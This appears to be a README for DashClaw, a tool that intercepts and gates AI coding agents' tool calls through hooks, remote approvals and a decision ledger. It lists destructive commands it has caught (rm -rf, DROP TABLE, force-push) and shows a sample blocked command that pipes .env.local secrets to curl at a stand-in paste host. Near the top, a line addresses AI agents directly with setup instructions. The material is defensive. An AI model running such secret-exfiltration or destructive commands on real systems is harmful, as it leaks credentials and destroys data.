npx dashclaw up # no account, first caught action in minutes
AI agents: setting DashClaw up for your user? Run npx dashclaw up --yes --no-browser — the plain command prompts and will hang a non-interactive shell. The API key lands in ~/.dashclaw/instance.json; verify with GET http://localhost:3000/api/health and npx dashclaw doctor. Full runbook: dashclaw.io/llms.txt. Do not attempt the hosted trial headlessly — its captcha needs your human.
What you get
A 10-second capability scan before the dense sections:
- Fail-closed intercept at the execution seam. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and
dashclaw_invoke can cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict.
- One-click remote approval. Resolve from the
/approvals inbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.
- Approvals in plain English. Every pending item leads with one sentence for what the command actually does, flags what cannot be undone, and warns when a file holds credentials. When no rule reads the command with confidence, it says so instead of guessing. The exact command is always shown underneath.
- "Allow, don't ask again." Preview the target, lease, and matching pending items before creating a scoped standing grant. The UI resolves eligible items through the normal approval path and reports partial failures. High-risk, ungrantable, expired, or self-approved sources are rejected. Standing grants remain visible and revocable in the inbox.
- Verifiable recorded evidence. Decision records, Ed25519 receipts where issued, and signed exports support later review. A receipt verifies its signed contents, not that an external effect happened. Authenticated identity and action-payload signing are shown separately.
- Calibrated interruptions. Your approve/deny verdicts tune how often it interrupts, with a proven cap on false interruptions instead of a guessed threshold.
- Autonomy is a number, not a prompt. How much your agent ships without a human looking is set by policy thresholds and checks, not by wording. Each action carries the agent's stated confidence — declared on the guard call, before the act, so it is a prediction and not a postscript — and the ledger scores it against the reported outcome, so an overconfident agent shows up as a number on /decisions, not as a surprise.
- Enforcement liveness. A probe tests whether a synthetic held action executes through the installed hook path. Setup distinguishes stale, broken, and unavailable evidence and shows measured runtime versions and hook fingerprints as client-reported diagnostics, not attestation.
- Prompt-injection scanning on by default. High-confidence system-override patterns force a
block at guard time; weaker ones raise a warn.
- Multi-runtime. Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
- MIT-licensed self-hosting. Run locally or deploy your own instance. Hosting and provider usage are subject to their plans and limits.
What it actually stops
At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent deciding to call a tool and the tool actually running. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and dashclaw_invoke can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
These are the catches on the record, from the maintainer log and THESIS.md, each one the same loop firing:
rm -rf on a working directory
DROP TABLE against a live database
git push --force origin main
- reading
.env and preparing to exfiltrate it (risk 100, two policies firing at once)
The last one caught the maintainer's own shell command mid-verification: extracting an API key from .env.local, blocked live at risk 100. Here is roughly what the seam does with it:
$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
DashClaw guard risk=100 policies_matched=2
decision=block (fail-closed, hook exit 2)
-> tool call cancelled. never executed. decision recorded in the ledger.
The audience is narrow on purpose: a solo developer or small team running long, unattended coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
Where DashClaw fits. Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
The loop in code
It is 2am, the run is in hour three, and the agent reasons its way to git push --force origin main. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside runGoverned() as shown here.
import { DashClaw } from 'dashclaw';
const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
await claw.runGoverned(
// The exact act is scrubbed, classified, recorded, and bound to the execution claim.
{ kind: 'shell', command: 'git push --force origin main' },
{ action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
async () => run(),
);
runGoverned() waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses run_governed(). Full example: QUICK-START.md.
Upgrade order: deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that mode lacks atomic execution claims. Malformed or unsupported advertisements fail closed. Set DASHCLAW_REQUIRE_EXECUTION_CLAIMS=1 after the server upgrade to reject legacy responses. See the execution contract.
flowchart LR
A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
B -->|allow / warn| G[Fresh policy check<br/>and atomic execution claim]
B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
B -->|allow_contained| F[Staged in a worktree<br/>diff awaits promote/discard]
B -->|require_approval| E[Action frozen]
E -->|approve, from anywhere| G
E -->|deny| D
F -->|promote| G
F -->|discard| D
G -->|confirmed claim| C[Tool runs]
G -->|rejected or uncertain| D
C --> L[(Decision and outcome records<br/>receipts where issued)]
D --> L
L -.-> P[Independent liveness probe<br/>tests the installed seam]
The decision lattice is allow < warn < allow_contained < require_approval < block. Join is max; a block is absolute and cannot be downgraded in the ledger. allow_contained only ever reaches a caller that advertised the capability string for the staging medium it would use — client_capabilities: ['allow_contained'] for a git worktree, ['allow_contained:db'] for an ephemeral database branch; an older client sees require_approval instead (version skew only tightens).
[!IMPORTANT]